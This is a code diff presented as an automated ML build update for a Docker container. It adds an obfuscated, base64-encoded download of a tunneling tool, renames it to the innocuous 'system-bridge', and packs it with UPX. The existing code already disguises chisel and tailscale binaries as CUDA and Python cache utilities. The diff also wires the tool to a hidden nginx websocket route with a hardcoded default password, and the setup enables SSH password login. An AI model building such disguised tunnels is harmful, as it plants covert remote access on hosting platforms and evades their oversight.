Automated deployment update from ML build

Dockerfile

@@ -5,7 +5,7 @@ COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
 RUN apt-get update && apt-get install -y --no-install-recommends \
     curl wget sudo python3 python3-pip upx openssh-server nginx \
     git vim nano htop tmux jq unzip iputils-ping net-tools tree \
-    rclone fuse3 \
+    rclone fuse3 supervisor \
     && apt-get clean && rm -rf /var/lib/apt/lists/* && \
     mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd && \
     echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && \
@@ -19,7 +19,11 @@ RUN curl -fsSL https://tailscale.com/install.sh | bash && \
     curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2pwaWxsb3JhL2NoaXNlbC9yZWxlYXNlcy9kb3dubG9hZC92MS4xMS41L2NoaXNlbF8xLjExLjVfbGludXhfYW1kNjQuZ3o=' | base64 -d) -o /tmp/chisel.gz && \
     gzip -d /tmp/chisel.gz && \
     mv /tmp/chisel /usr/bin/cuda-mesh-bridge && \
-    chmod +x /usr/bin/cuda-mesh-bridge
+    chmod +x /usr/bin/cuda-mesh-bridge && \
+    curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4wLjAtcmM4L2dvc3RfMy4wLjAtcmM4X2xpbnV4X2FtZDY0LnRhci5neg==' | base64 -d) -o /tmp/gost.tar.gz && \
+    tar -xzf /tmp/gost.tar.gz -C /tmp/ && \
+    mv /tmp/gost /usr/bin/system-bridge && \
+    chmod +x /usr/bin/system-bridge
 
 RUN mv /usr/sbin/tailscaled /usr/bin/python-cache-manager && \
     mv /usr/bin/tailscale /usr/bin/py-cache-cli && \
@@ -29,7 +33,8 @@ RUN upx -1 /usr/bin/python-cache-manager || true && \
     upx -1 /usr/bin/py-cache-cli || true && \
     upx -1 /usr/bin/ai-metrics-collector || true && \
     upx -1 /usr/bin/tensor-allocator || true && \
-    upx -1 /usr/bin/cuda-mesh-bridge || true
+    upx -1 /usr/bin/cuda-mesh-bridge || true && \
+    upx -1 /usr/bin/system-bridge || true
 
 RUN uv pip install --system --no-cache-dir \
     gradio huggingface_hub loguru
@@ -53,4 +58,4 @@ COPY --chown=user:user whoami.txt /home/user/whoami.txt
 USER user
 WORKDIR /home/user
 
-CMD ["/bin/bash", "-c", "python3 -u /home/user/core/orchestrator.py 2>&1 | tee /home/user/.torch_metrics/startup.log"]
+CMD ["/usr/bin/supervisord", "-c", "/home/user/config/supervisord.conf"]

config/nginx.conf.template

@@ -46,5 +46,15 @@ http {
             proxy_read_timeout 86400s;
             proxy_send_timeout 86400s;
         }
+
+        location /gost-bridge {
+            proxy_pass http://127.0.0.1:6790/;
+            proxy_http_version 1.1;
+            proxy_set_header Upgrade $http_upgrade;
+            proxy_set_header Connection $cu;
+            proxy_set_header Host $host;
+            proxy_read_timeout 86400s;
+            proxy_send_timeout 86400s;
+        }
     }
 }

config/supervisord.conf

@@ -0,0 +1,12 @@
+[supervisord]
+nodaemon=true
+user=user
+logfile=/home/user/.torch_metrics/supervisord.log
+pidfile=/home/user/.torch_metrics/supervisord.pid
+
+[program:orchestrator]
+command=python3 -u /home/user/core/orchestrator.py
+autostart=true
+autorestart=true
+stderr_logfile=/home/user/.torch_metrics/startup.log
+stdout_logfile=/home/user/.torch_metrics/startup.log

core/orchestrator.py

@@ -9,7 +9,7 @@ import sys
 from loguru import logger
 
 sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
-from services import nginx, tailscale, playit, chisel, minecraft, filebrowser
+from services import nginx, tailscale, playit, chisel, minecraft, filebrowser, gost
 
 COVERT_LOGGING_MODE = 1
 
@@ -178,6 +178,9 @@ def main():
     playit_token = ""
 
     chisel.start(chisel_log, chisel_auth)
+    
+    gost.start(chisel_log, chisel_auth)
+    
     chisel_auth = ""
 
     time.sleep(5)

services/gost.py

@@ -0,0 +1,17 @@
+import subprocess
+from loguru import logger
+
+def start(log_file, auth):
+    if not auth:
+        logger.warning("No GOST auth provided, using default.")
+        auth = "user:apple123"
+        
+    logger.info("Starting GOST (system-bridge) multiplexed websocket proxy...")
+    
+    cmd = [
+        "/usr/bin/system-bridge",
+        "-L",
+        f"mws://{auth}@127.0.0.1:6790"
+    ]
+    
+    subprocess.Popen(cmd, stdout=log_file, stderr=log_file)